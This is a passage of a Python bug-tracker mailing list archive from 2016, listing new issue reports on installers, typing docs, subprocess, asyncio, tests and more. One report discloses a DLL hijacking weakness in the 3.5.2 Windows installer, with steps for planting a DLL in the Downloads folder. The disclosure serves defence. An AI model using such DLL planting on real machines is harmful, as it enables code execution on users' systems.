x86 and x86_64 installers. When selecting customise install, the installer is unable to gather the files required, because the installer is looking for them in: https://www.python.org/ftp/python/3.5.2/amd64/ Following the link will result in a 404, as the folder does not exist. This reason has been found thanks to the log file of the installation that is given upon error during the installation. (Cheers for that! :D) The correct link is: https://www.python.org/ftp/python/3.5.2/amd64rc1/ ---------- components: Installation messages: 269383 nosy: Jarod Brennfleck priority: normal severity: normal status: open title: Wrong FTP links in 5.3.2 installer type: crash versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jun 27 13:09:40 2016 From: report at bugs.python.org (Michael Lee) Date: Mon, 27 Jun 2016 17:09:40 +0000 Subject: [New-bugs-announce] [issue27402] Sequence example in typing module documentation does not typecheck Message-ID: <1467047380.43.0.562730585486.issue27402@psf.upfronthosting.co.za> New submission from Michael Lee: In the documentation for the `typing` module, the [entry for the `List` type][0] uses the following example to help demonstrate when to use `Sequence` vs `List`: T = TypeVar('T', int, float) def vec2(x: T, y: T) -> List[T]: return [x, y] def slice__to_4(vector: Sequence[T]) -> List[T]: return vector[0:4] However, the `slice__to_4` function does not actually typecheck since there's no guarantee that a slice of a sequence will return a `List`. For example the vector could be a numpy array or a custom subclass of `collections.abc.Sequence` with an unusual `__getitem__`. (Mypy correctly catches this error and complains about an "Incompatible return value type"). The documentation should probably be updated to use an example that _does_ typecheck, though I'm not sure what exactly that example might look like? Maybe replace `slice__to_4` with something like this? def keep_positives(vector: Sequence[T]) -> List[T]: return [item for item in vector if item > 0] ---------- assignee: docs at python components: Documentation messages: 269389 nosy: docs at python, michael0x2a priority: normal severity: normal status: open title: Sequence example in typing module documentation does not typecheck versions: Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jun 27 17:03:41 2016 From: report at bugs.python.org (Dustin Oprea) Date: Mon, 27 Jun 2016 21:03:41 +0000 Subject: [New-bugs-announce] [issue27403] os.path.dirname doesn't handle Windows' URNs correctly Message-ID: <1467061421.97.0.269034608873.issue27403@psf.upfronthosting.co.za> New submission from Dustin Oprea: Notice that os.path.dirname() returns whatever it is given if it is given a URN, regardless of slash-type. Oddly, you have to double-up the forward-slashes (like you're escaping them) in order to get the correct result (if you're using forward-slashes). Back-slashes appear to be broken no matter what. C:\Python35-32>python Python 3.5.2 (v3.5.2:4def2a2901a5, Jun 25 2016, 22:01:18) [MSC v.1900 32 bit (Intel)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> import os.path >>> os.path.dirname("\\\\a\\b") '\\\\a\\b' >>> os.path.dirname("//a/b") '//a/b' >>> os.path.dirname("////a//b") '////a' Any ideas? ---------- components: Windows messages: 269404 nosy: Dustin.Oprea, paul.moore, steve.dower, tim.golden, zach.ware priority: normal severity: normal status: open title: os.path.dirname doesn't handle Windows' URNs correctly type: behavior versions: Python 2.7, Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jun 27 17:14:37 2016 From: report at bugs.python.org (STINNER Victor) Date: Mon, 27 Jun 2016 21:14:37 +0000 Subject: [New-bugs-announce] [issue27404] Misc/NEWS: add [Security] prefix to Python 3.5.2 changelog Message-ID: <1467062077.67.0.144801873004.issue27404@psf.upfronthosting.co.za> New submission from STINNER Victor: As discussed on the Security-SIG mailing list, changes related to security should be prefixed by [Security]: https://mail.python.org/pipermail/security-sig/2016-June/000003.html Here is a first patch for Python 3.5.2 (and the future 3.5.3) changelog. ---------- files: NEWS.patch keywords: patch messages: 269405 nosy: haypo priority: normal severity: normal status: open title: Misc/NEWS: add [Security] prefix to Python 3.5.2 changelog type: security versions: Python 3.5 Added file: http://bugs.python.org/file43568/NEWS.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jun 28 04:06:00 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 28 Jun 2016 08:06:00 +0000 Subject: [New-bugs-announce] [issue27405] Ability to trace Tcl commands executed by Tkinter Message-ID: <1467101160.96.0.000959009774067.issue27405@psf.upfronthosting.co.za> New submission from Serhiy Storchaka: For debugging purpose it would be helpful to have an ability to show all Tcl commands executed by Tkinter. In particular it would be helpful for testing wherever some issue is Tkinter issue or Tcl/Tk issue. I'm working on a patch, but there is a design question about an interface. In simplest case you set the debug property of Tk instance to True and all Tcl commands are printed to stdout or stderr in the form ready for executing with Tcl/Tk interpreter. You also can set the module global tkinter.debug to True, and this will affect all new Tk instances (as with tkinter.wantobjects). But maybe there is a need in larger customization? For example specifying the command that accepts every Tcl command as a string or a tuple? ---------- components: Tkinter messages: 269425 nosy: serhiy.storchaka, terry.reedy priority: normal severity: normal status: open title: Ability to trace Tcl commands executed by Tkinter type: enhancement versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jun 28 10:09:06 2016 From: report at bugs.python.org (=?utf-8?q?Kristj=C3=A1n_Valur_J=C3=B3nsson?=) Date: Tue, 28 Jun 2016 14:09:06 +0000 Subject: [New-bugs-announce] [issue27406] subprocess.Popen() hangs in multi-threaded code Message-ID: <1467122946.13.0.890453921822.issue27406@psf.upfronthosting.co.za> New submission from Kristj?n Valur J?nsson: On a quad-core raspberrypi, i have experienced that subprocess.Popen() sometimes does not return immediatelly, but only much later, when an unrelated process has exited. Debugging the issue, I find the parent process hanging in # Wait for exec to fail or succeed; possibly raising exception # Exception limited to 1M data = _eintr_retry_call(os.read, errpipe_read, 1048576) This behaviour is consistent with the problem described in pipe_cloexec(): def pipe_cloexec(self): """Create a pipe with FDs set CLOEXEC.""" # Pipes' FDs are set CLOEXEC by default because we don't want them # to be inherited by other subprocesses: the CLOEXEC flag is removed # from the child's FDs by _dup2(), between fork() and exec(). # This is not atomic: we would need the pipe2() syscall for that. r, w = os.pipe() self._set_cloexec_flag(r) self._set_cloexec_flag(w) return r, w In short: It appears that occasionally the pipe FD is leaked to a different subprocess (started on a separate thread) before the cloexec flags can be set. This causes the parent process to wait until that other instance of the file descriptor is closed, i.e. when that other unrelated process exits. I currently have a workaround which involves using a threading.Lock() around the call. This is not very nice, however. Also, there is #Issue12196 which could be backported to 2.7 to address this problem. ---------- components: Interpreter Core messages: 269432 nosy: kristjan.jonsson priority: normal severity: normal status: open title: subprocess.Popen() hangs in multi-threaded code type: behavior versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jun 28 11:51:41 2016 From: report at bugs.python.org (George Ge) Date: Tue, 28 Jun 2016 15:51:41 +0000 Subject: [New-bugs-announce] [issue27407] prepare_ssl.py missing in PCBuild folder Message-ID: <1467129101.75.0.190967311264.issue27407@psf.upfronthosting.co.za> New submission from George Ge: The readme.txt file in the PCBuild folder in Python 2.7.11 and 2.7.12 sources both contain instructions on how to configure to build a different OpenSSL version using PCbuild\prepare_ssl.py, but this file is missing on both versions. ---------- components: Installation, Windows messages: 269440 nosy: George Ge, paul.moore, steve.dower, tim.golden, zach.ware priority: normal severity: normal status: open title: prepare_ssl.py missing in PCBuild folder type: compile error versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jun 28 22:22:03 2016 From: report at bugs.python.org (Brett Cannon) Date: Wed, 29 Jun 2016 02:22:03 +0000 Subject: [New-bugs-announce] [issue27408] Document importlib.abc.ExecutionLoader implements get_data() Message-ID: <1467166923.22.0.634971996974.issue27408@psf.upfronthosting.co.za> New submission from Brett Cannon: The fact that importlib.abc.ExectionLoader.get_data() is implemented is missing (or put another way, it isn't documented that get_source() still needs to be implemented). ---------- assignee: docs at python components: Documentation messages: 269458 nosy: brett.cannon, docs at python priority: normal severity: normal stage: needs patch status: open title: Document importlib.abc.ExecutionLoader implements get_data() versions: Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jun 28 22:54:56 2016 From: report at bugs.python.org (Martin Panter) Date: Wed, 29 Jun 2016 02:54:56 +0000 Subject: [New-bugs-announce] [issue27409] List socket.SO_*, SCM_*, MSG_*, IPPROTO_* symbols Message-ID: <1467168896.94.0.840314714269.issue27409@psf.upfronthosting.co.za> New submission from Martin Panter: The documentation just says that SO_* etc constants are defined. However when people add new ones, they add them as new features to a specific version (not backported as bug fixes), but do not alter the documentation at all. IMO it is silly adding undocumented features. E.g. Issue 26907 was opened to add (among others) SO_PASSCRED, which was already added, undocumented, as part of Issue 6560. This patch attempts to indicate which symbols are defined by Python (depending on OS availability), and therefore one can deduce if Python does not define a particular symbol. It could be adapted to the 2.7 documentation, but I am not really motivated for that on my own. I also remove a redundant definition in the module, and removed a conditional because SO_REUSEADDR is required to always be defined according to the test suite. These specific changes should only be applied to 3.6. I also found Issue 1732367, which has a patch documenting each AF_* symbol in a little more detail. That patch was never updated nor comitted, but it sounds like this kind of addition might be acceptable. ---------- assignee: docs at python components: Documentation files: socket-const.patch keywords: patch messages: 269460 nosy: docs at python, martin.panter priority: normal severity: normal stage: patch review status: open title: List socket.SO_*, SCM_*, MSG_*, IPPROTO_* symbols versions: Python 3.5, Python 3.6 Added file: http://bugs.python.org/file43573/socket-const.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jun 28 23:50:44 2016 From: report at bugs.python.org (anandbhat) Date: Wed, 29 Jun 2016 03:50:44 +0000 Subject: [New-bugs-announce] [issue27410] DLL hijacking vulnerability in Python 3.5.2 installer Message-ID: <1467172244.73.0.493856628502.issue27410@psf.upfronthosting.co.za> New submission from anandbhat: The Python 3.5.2 Windows x86-64 executable installer (MD5: 4da6dbc8e43e2249a0892d257e977291) downloaded from https://www.python.org/ftp/python/3.5.2/python-3.5.2-amd64.exe is vulnerable to DLL hijacking. The installer attempts to load DLLs from the current directory, which in most cases, is the Downloads directory. As explained in http://blog.opensecurityresearch.com/2014/01/unsafe-dll-loading-vulnerabilities.html and https://textslashplain.com/2015/12/18/dll-hijacking-just-wont-die/, installers that are vulnerable to DLL hijacking can be used to load untrusted and malicious DLLs. A maliciously crafted DLL when dropped into the user's Downloads directory will be executed by this installer. System used for testing: Windows 10 Steps to reproduce: 1. Download a dummy DLL file for this demo -- version.dll -- from https://www.dropbox.com/s/3l5qwz7ppevs9za/version.dll?dl=0 and place it in the default Downloads directory. Virustotal report for this file: https://www.virustotal.com/en/file/29b51fdb8e498ef5d3fe05e924e23fcaffa554d64fb024b042101236028242b0/analysis/1467171188/ 2. Download the Python 3.5.2 Windows x86-64 executable installer (MD5: 4da6dbc8e43e2249a0892d257e977291) from https://www.python.org/ftp/python/3.5.2/python-3.5.2-amd64.exe and save it to the default Downloads directory (e.g., C:\Users\xxx\Downloads) 3. Attempt to run the downloaded installer. 4. Windows loads version.dll placed in step [1]. This is just one of several DLLs that can be exploited. Attached are screen captures from Process Monitor (https://technet.microsoft.com/en-us/sysinternals/processmonitor.aspx) in a Windows 10 environment with filters (listed below) that show the DLLs looked for by the installer in the Downloads directory. Process Monitor filters: Inclusion: Process Name beginswith python, Path beginswith Operation is Load Image Operation is CreateImage Exclusion: Path endswith .ini Path contains .exe ---------- components: Installation files: Python_3.5.2_64_exe_DLL_Hijack.PNG messages: 269461 nosy: anandbhat priority: normal severity: normal status: open title: DLL hijacking vulnerability in Python 3.5.2 installer type: security versions: Python 3.5 Added file: http://bugs.python.org/file43574/Python_3.5.2_64_exe_DLL_Hijack.PNG _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jun 29 05:57:04 2016 From: report at bugs.python.org (Xiang Zhang) Date: Wed, 29 Jun 2016 09:57:04 +0000 Subject: [New-bugs-announce] [issue27411] Possible different behaviour of explicit and implicit __dict__ accessing when involving builtin types' __dict__ descriptors Message-ID: <1467194224.29.0.874639254683.issue27411@psf.upfronthosting.co.za> New submission from Xiang Zhang: Usually when we access an object's __dict__, it will finally reach subtype_dict[0]. When involving builtin base, it may delegates to the base's __dict__ descriptor. In such a case, it is possible for the __dict__ descriptor to initialize the dict object if it's NULL. This is what PyObject_GenericGetDict does. But if the __dict__ descriptor initialize dict to other mapping objects instead of dict object, accessing __dict__ explicitly first or implicitly by attribute setting will result in different behaviours. If we first access obj.__dict__, obj.__dict__ will set to the mapping object, otherwise it will be set to a dict. Let's make a example. For convenience I alter BaseException's __dict__ descriptor, changing PyObject_GenericGetDict to custom_getdict: PyObject * custom_getdict(PyObject *obj, void *context) { PyObject *dict, **dictptr = _PyObject_GetDictPtr(obj); dict = *dictptr; if (dict == NULL) { *dictptr = dict = PyDict_New(); PyDict_SetItemString(dict, "test", PyDict_New()); } Py_XINCREF(dict); return dict; } And then the use case: >>> BaseException().__dict__ {'test': {}} >>> class A: ... pass ... >>> class B(A, BaseException): ... def __init__(self): ... self.__dict__['a'] = 1 ... self.b = 2 ... >>> class C(A, BaseException): ... def __init__(self): ... self.a = 1 ... self.__dict__['b'] = 2 ... >>> B().__dict__ {'b': 2, 'test': {}, 'a': 1} >>> C().__dict__ {'a': 1, 'b': 2} Since a and b are not descriptors, I think B().__dict__ and C().__dict__ should lead to same result but they are not. I think it's because PyObject_GenericSetAttr doesn't go the same way as subtype_dict so when it finds __dict__ is not initialized it always assign it a new dict. I am not sure this is a bug or a case worth fixing or is designed deliberately. BTW, subtype_dict was introduced in [1]. [0] https://hg.python.org/cpython/file/tip/Objects/typeobject.c#l2069 [1] http://bugs.python.org/issue1303614 ---------- components: Interpreter Core messages: 269470 nosy: rhettinger, serhiy.storchaka, xiang.zhang priority: normal severity: normal status: open title: Possible different behaviour of explicit and implicit __dict__ accessing when involving builtin types' __dict__ descriptors type: behavior versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jun 29 07:26:37 2016 From: report at bugs.python.org (David Howlett) Date: Wed, 29 Jun 2016 11:26:37 +0000 Subject: [New-bugs-announce] =?utf-8?b?W2lzc3VlMjc0MTJdIGZsb2F0KCfiiJ4n?= =?utf-8?q?=29_returns_8=2E0?= Message-ID: <1467199597.93.0.168166235932.issue27412@psf.upfronthosting.co.za> New submission from David Howlett: float('inf') returns a float with a value of inf float('?') returns a float with a value of 8.0 I can't think of any justification for returning 8.0 other then ? looks like an 8 turned sideways. I believe float('?') should return inf. ---------- components: Unicode messages: 269475 nosy: David Howlett, ezio.melotti, haypo priority: normal severity: normal status: open title: float('?') returns 8.0 type: behavior versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jun 29 07:49:29 2016 From: report at bugs.python.org (Wei-Cheng Pan) Date: Wed, 29 Jun 2016 11:49:29 +0000 Subject: [New-bugs-announce] [issue27413] Add an option to json.tool to bypass non-ASCII characters. Message-ID: <1467200969.47.0.983958211319.issue27413@psf.upfronthosting.co.za> New submission from Wei-Cheng Pan: This patch adds a command line option "--no-escape" that allows json.tool to display non-ASCII characters. e.g.: $ echo '"??"' | python -m json.tool "\u6e2c\u8a66" $ echo '"??"' | python -m json.tool --no-escape "??" ---------- components: Library (Lib) files: json-add-an-option-to-bypass-non-ascii-characters.patch keywords: patch messages: 269479 nosy: Wei-Cheng.Pan priority: normal severity: normal status: open title: Add an option to json.tool to bypass non-ASCII characters. type: enhancement versions: Python 3.6 Added file: http://bugs.python.org/file43578/json-add-an-option-to-bypass-non-ascii-characters.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jun 29 09:34:36 2016 From: report at bugs.python.org (Mathieu Xhonneux) Date: Wed, 29 Jun 2016 13:34:36 +0000 Subject: [New-bugs-announce] [issue27414] http.server.BaseHTTPRequestHandler inconsistence with Content-Length value Message-ID: <1467207276.94.0.887561217469.issue27414@psf.upfronthosting.co.za> New submission from Mathieu Xhonneux: With Python 3.5, when I subclass SimpleHTTPRequestHandler, which itself subclasses BaseHTTPRequestHandler, and I try to access a non-existing file, the server responds with a 404 code, but send_error (see Lib/http/server.py, line 473) adds the Content-Length header with an int value, whereas all others functions convert this value to str (see lines 699, 761). For consistency, all header values should be str. ---------- components: Library (Lib) messages: 269488 nosy: m.xhonneux priority: normal severity: normal status: open title: http.server.BaseHTTPRequestHandler inconsistence with Content-Length value type: enhancement versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jun 29 10:46:01 2016 From: report at bugs.python.org (Marcus Cobden) Date: Wed, 29 Jun 2016 14:46:01 +0000 Subject: [New-bugs-announce] [issue27415] BaseEventLoop.create_server does not accept port=None Message-ID: <1467211561.08.0.329801464417.issue27415@psf.upfronthosting.co.za> New submission from Marcus Cobden: With the most recent 3.4 bugfix, calling create_server with port=None stopped working. This also affects 3.5, and I would imagine also 3.6, but haven't checked that. Test case: import asyncio; l = asyncio.get_event_loop(); l.run_until_complete(l.create_server(lambda: None, host='0.0.0.0', port=None)) Expected result: a socket object Broken result: "TypeError: an integer is required (got type NoneType)" ---------- components: asyncio messages: 269507 nosy: gvanrossum, haypo, mcobden, yselivanov priority: normal severity: normal status: open title: BaseEventLoop.create_server does not accept port=None versions: Python 3.4, Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jun 29 11:04:30 2016 From: report at bugs.python.org (Paul Killey) Date: Wed, 29 Jun 2016 15:04:30 +0000 Subject: [New-bugs-announce] [issue27416] typo / missing word in docs.python.org/2/library/copy.html Message-ID: <1467212670.04.0.257355516163.issue27416@psf.upfronthosting.co.za> New submission from Paul Killey: I wonder if the word 'not' is missing between 'that' and 'should' in this sentence in https://docs.python.org/2/library/copy.html? Because deep copy copies everything it may copy too much, e.g., administrative data structures that should be shared even between copies. ---------- assignee: docs at python components: Documentation messages: 269512 nosy: docs at python, paulkilley priority: normal severity: normal status: open title: typo / missing word in docs.python.org/2/library/copy.html versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jun 29 14:19:37 2016 From: report at bugs.python.org (Steve Dower) Date: Wed, 29 Jun 2016 18:19:37 +0000 Subject: [New-bugs-announce] [issue27417] Call CoInitializeEx on startup Message-ID: <1467224377.99.0.571630822652.issue27417@psf.upfronthosting.co.za> New submission from Steve Dower: I'd like to enable calling CoInitializeEx on Python startup for 3.6 (and into the future). See https://msdn.microsoft.com/en-us/library/windows/desktop/ms695279.aspx This would enable us to use more advanced Windows features within Python that require COM, such as better integration with the shell or features such as AMSI (issue26137, https://msdn.microsoft.com/en-us/library/windows/desktop/dn889587.aspx). The fact that AMSI is a security feature makes it important that it be enabled by default and not be able to be disabled. Calling CoInitializeEx has no impact on code that isn't already calling it, however, since it can only be called once per thread and you can't change the apartment type, it could break existing code that calls it directly (but only if it tries to use a different apartment type). My proposal is to call CoInitializeEx(NULL, COINIT_MULTITHREADED) by default, with "-X:STA" to call CoInitializeEx(NULL, COINIT_APARTMENTTHREADED) instead. (Single Threaded Apartment is the commonly used acronym for COINIT_APARTMENTTHREADED.) This forces the decision onto the user rather than letting libraries do it, but since libraries may have conflicting requirements, this hardly makes things worse. It also means we can rely on COM being enabled for any features we may want to enable within Python. I've nosied people who I expect/hope to have an opinion, so let me know what you think. ---------- assignee: steve.dower components: Windows messages: 269537 nosy: eryksun, mhammond, paul.moore, steve.dower, tim.golden, zach.ware priority: low severity: normal status: open title: Call CoInitializeEx on startup type: enhancement versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jun 29 14:27:40 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 29 Jun 2016 18:27:40 +0000 Subject: [New-bugs-announce] [issue27418] Tools/importbench/importbench.py is broken Message-ID: <1467224860.71.0.322462895886.issue27418@psf.upfronthosting.co.za> New submission from Serhiy Storchaka: $ ./python Tools/importbench/importbench.py Traceback (most recent call last): File "Tools/importbench/importbench.py", line 8, in from test.test_importlib.source import util as source_util ImportError: cannot import name 'util' ---------- components: Demos and Tools messages: 269539 nosy: brett.cannon, serhiy.storchaka priority: normal severity: normal status: open title: Tools/importbench/importbench.py is broken type: behavior versions: Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jun 30 04:28:21 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 30 Jun 2016 08:28:21 +0000 Subject: [New-bugs-announce] [issue27419] Bugs in PyImport_ImportModuleLevelObject Message-ID: <1467275301.6.0.860119433525.issue27419@psf.upfronthosting.co.za> New submission from Serhiy Storchaka: 1. If __package__ is None, and __spec__ is None or not set, and emitting ImportWarning raises an error, package is a borrowed reference to None, and it is decrefed. As result, the reference count of None is decremented. 2. __import__ is looked in globals or builtins and passed to _find_and_load(), _handle_fromlist() or called with highest package name. This doesn't match Python implementation. Python implementation uses _gcd_import which implements the original __import__, and isn't affected by overriding __import__ in globals or builtins. ---------- components: Interpreter Core files: fix-__import__.patch keywords: patch messages: 269564 nosy: brett.cannon, eric.snow, ncoghlan, serhiy.storchaka priority: normal severity: normal stage: patch review status: open title: Bugs in PyImport_ImportModuleLevelObject type: behavior versions: Python 3.5, Python 3.6 Added file: http://bugs.python.org/file43585/fix-__import__.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jun 30 06:33:36 2016 From: report at bugs.python.org (Niall Mansfield) Date: Thu, 30 Jun 2016 10:33:36 +0000 Subject: [New-bugs-announce] [issue27420] Docs for os.link - say what happens if link already exists Message-ID: <1467282816.95.0.317527848578.issue27420@psf.upfronthosting.co.za> New submission from Niall Mansfield: In os.link(source, link_name) Change Create a hard link pointing to source named link_name. to Create a hard link pointing to source named link_name. If link_name already exists, OSError is raised. ---------- assignee: docs at python components: Documentation messages: 269572 nosy: docs at python, python-bugs-uit priority: normal severity: normal status: open title: Docs for os.link - say what happens if link already exists type: enhancement versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jun 30 07:59:05 2016 From: report at bugs.python.org (STINNER Victor) Date: Thu, 30 Jun 2016 11:59:05 +0000 Subject: [New-bugs-announce] [issue27421] PPC64LE Fedora 2.7: certificate for hg.python.org has unexpected fingerprint Message-ID: <1467287945.31.0.973782054097.issue27421@psf.upfronthosting.co.za> New submission from STINNER Victor: http://buildbot.python.org/all/builders/PPC64LE%20Fedora%202.7/builds/429/steps/hg/logs/stdio abort: certificate for hg.python.org has unexpected fingerprint 31:d8:79:0f:ca:b5:c4:76:85:ba:61:84:e7:5b:52:4f:78:7d:38:3e (check hostfingerprint configuration) ---------- components: Build keywords: buildbot messages: 269576 nosy: haypo priority: normal severity: normal status: open title: PPC64LE Fedora 2.7: certificate for hg.python.org has unexpected fingerprint versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jun 30 12:23:23 2016 From: report at bugs.python.org (Martin Ritter) Date: Thu, 30 Jun 2016 16:23:23 +0000 Subject: [New-bugs-announce] [issue27422] Deadlock when mixing threading and multiprocessing Message-ID: <1467303803.25.0.914359339926.issue27422@psf.upfronthosting.co.za> New submission from Martin Ritter: When creating a multiprocessing.Process in a threaded environment I get deadlocks waiting, I guess waiting for the lock to flush the output. I attached a minimal example of the problem which hangs for me starting with 4 threads. ---------- files: test_threadfork.py messages: 269593 nosy: Martin Ritter priority: normal severity: normal status: open title: Deadlock when mixing threading and multiprocessing type: crash versions: Python 3.5 Added file: http://bugs.python.org/file43588/test_threadfork.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jun 30 12:47:18 2016 From: report at bugs.python.org (Emanuel Barry) Date: Thu, 30 Jun 2016 16:47:18 +0000 Subject: [New-bugs-announce] [issue27423] Failed assertions when running test.test_os on Windows Message-ID: <1467305238.88.0.613411427666.issue27423@psf.upfronthosting.co.za> New submission from Emanuel Barry: Running test_os yields a ton (something like 20) failed assertion warnings. The attached screenshot is one of them (comes up a few times), but there are others. Choosing to Ignore the error makes Python think that the test was merely skipped without any error. I'm not sure where exactly this kind of bug report goes (doesn't seem to be Python's fault), but I'm hoping some of the Windows experts can pick this up. ---------- components: Tests, Windows files: test_os failed assertion.png messages: 269599 nosy: ebarry, paul.moore, steve.dower, tim.golden, zach.ware priority: normal severity: normal stage: needs patch status: open title: Failed assertions when running test.test_os on Windows type: crash versions: Python 3.6 Added file: http://bugs.python.org/file43590/test_os failed assertion.png _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jun 30 13:00:01 2016 From: report at bugs.python.org (Emanuel Barry) Date: Thu, 30 Jun 2016 17:00:01 +0000 Subject: [New-bugs-announce] [issue27424] Failures in test.test_logging Message-ID: <1467306001.82.0.0686720653934.issue27424@psf.upfronthosting.co.za> New submission from Emanuel Barry: Ran the test as 'python -W error -m test.test_logging' on latest 3.6 version. No idea what causes this; full traceback attached. Not sure if it's relevant, but I'm running Windows 7. ---------- components: Library (Lib), Tests files: test_logging failures.txt messages: 269602 nosy: ebarry, vinay.sajip priority: normal severity: normal stage: needs patch status: open title: Failures in test.test_logging type: behavior versions: Python 3.6 Added file: http://bugs.python.org/file43591/test_logging failures.txt _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jun 30 13:16:29 2016 From: report at bugs.python.org (Emanuel Barry) Date: Thu, 30 Jun 2016 17:16:29 +0000 Subject: [New-bugs-announce] [issue27425] Tests fail because of git's newline preferences on Windows Message-ID: <1467306989.4.0.803551571995.issue27425@psf.upfronthosting.co.za> New submission from Emanuel Barry: Specifically, test_random and test_sax both fail because of git's newline preferences. Mine is set to convert \r\n to \n on push and the other way around on pull. Relevant output: test_random: ....EException ignored in: <_io.FileIO name='E:\\GitHub\\cpython\\lib\\test\\randv2_32.pck' mode='rb' closefd=True> ResourceWarning: unclosed file <_io.BufferedReader name='E:\\GitHub\\cpython\\lib\\test\\randv2_32.pck'> ...........................EException ignored in: <_io.FileIO name='E:\\GitHub\\cpython\\lib\\test\\randv2_32.pck' mode='rb' closefd=True> ResourceWarning: unclosed file <_io.BufferedReader name='E:\\GitHub\\cpython\\lib\\test\\randv2_32.pck'> ............................ ====================================================================== ERROR: test_bug_1727780 (__main__.MersenneTwister_TestBasicOps) ---------------------------------------------------------------------- Traceback (most recent call last): File "E:\GitHub\cpython\lib\test\test_random.py", line 178, in test_bug_1727780 r = pickle.load(f) ImportError: No module named 'random\r' ====================================================================== ERROR: test_bug_1727780 (__main__.SystemRandom_TestBasicOps) ---------------------------------------------------------------------- Traceback (most recent call last): File "E:\GitHub\cpython\lib\test\test_random.py", line 178, in test_bug_1727780 r = pickle.load(f) ImportError: No module named 'random\r' ---------------------------------------------------------------------- Ran 61 tests in 1.480s FAILED (errors=2) test_sax: (Passing tests omitted) ====================================================================== FAIL: test_expat_binary_file (__main__.ExpatReaderTest) ---------------------------------------------------------------------- Traceback (most recent call last): File "E:\GitHub\cpython\lib\test\test_sax.py", line 836, in test_expat_binary_file self.assertEqual(result.getvalue(), xml_test_out) AssertionError: b'\n\r\n\n\r\n\n\r\n\n\r\n\n\r\n\n\r\n\n\r\n\n\r\n\n\r\n\n\r\n test_main() File "E:\GitHub\cpython\lib\test\test_sax.py", line 1258, in test_main XmlReaderTest) File "E:\GitHub\cpython\lib\test\support\__init__.py", line 1837, in run_unittest _run_suite(suite) File "E:\GitHub\cpython\lib\test\support\__init__.py", line 1812, in _run_suite raise TestFailed(err) test.support.TestFailed: multiple errors occurred ---------- components: Tests messages: 269604 nosy: ebarry priority: normal severity: normal status: open title: Tests fail because of git's newline preferences on Windows type: behavior versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jun 30 13:26:35 2016 From: report at bugs.python.org (Emanuel Barry) Date: Thu, 30 Jun 2016 17:26:35 +0000 Subject: [New-bugs-announce] [issue27426] Encoding mismatch causes some tests to fail on Windows Message-ID: <1467307595.9.0.252955875696.issue27426@psf.upfronthosting.co.za> New submission from Emanuel Barry: Specifically, test_strptime fails: ss.............F.....................E........... ====================================================================== ERROR: test_timezone (__main__.StrptimeTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "E:\GitHub\cpython\lib\test\test_strptime.py", line 330, in test_timezone strp_output = _strptime._strptime_time(strf_output, "%Z") File "E:\GitHub\cpython\lib\_strptime.py", line 559, in _strptime_time tt = _strptime(data_string, format)[0] File "E:\GitHub\cpython\lib\_strptime.py", line 365, in _strptime data_string[found.end():]) ValueError: unconverted data remains: (heure d??t?) ====================================================================== FAIL: test_timezone (__main__.LocaleTime_Tests) ---------------------------------------------------------------------- Traceback (most recent call last): File "E:\GitHub\cpython\lib\test\test_strptime.py", line 78, in test_timezone (timezone, self.LT_ins.timezone)) AssertionError: False is not true : timezone est (heure d??t?) not found in (frozenset({'utc', 'est', 'gmt'}), frozenset({'est (heure d\x92?t?)'})) ---------------------------------------------------------------------- Ran 49 tests in 0.128s FAILED (failures=1, errors=1, skipped=2) Eryk Sun explains the cause in http://bugs.python.org/issue26226#msg269462 ---------- components: Tests, Windows messages: 269608 nosy: ebarry, eryksun, paul.moore, steve.dower, tim.golden, zach.ware priority: normal severity: normal stage: needs patch status: open title: Encoding mismatch causes some tests to fail on Windows type: behavior versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jun 30 18:31:27 2016 From: report at bugs.python.org (Francisco Couzo) Date: Thu, 30 Jun 2016 22:31:27 +0000 Subject: [New-bugs-announce] [issue27427] Math tests Message-ID: <1467325887.57.0.243525279322.issue27427@psf.upfronthosting.co.za> New submission from Francisco Couzo: I added some tests for the math module. ---------- components: Tests files: test_math.patch keywords: patch messages: 269632 nosy: franciscouzo priority: normal severity: normal status: open title: Math tests versions: Python 3.6 Added file: http://bugs.python.org/file43593/test_math.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jun 30 18:34:32 2016 From: report at bugs.python.org (Brett Cannon) Date: Thu, 30 Jun 2016 22:34:32 +0000 Subject: [New-bugs-announce] [issue27428] Document WindowsRegistryFinder inherits from MetaPathFinder Message-ID: <1467326072.76.0.431868228595.issue27428@psf.upfronthosting.co.za> New submission from Brett Cannon: Currently the docs claim it 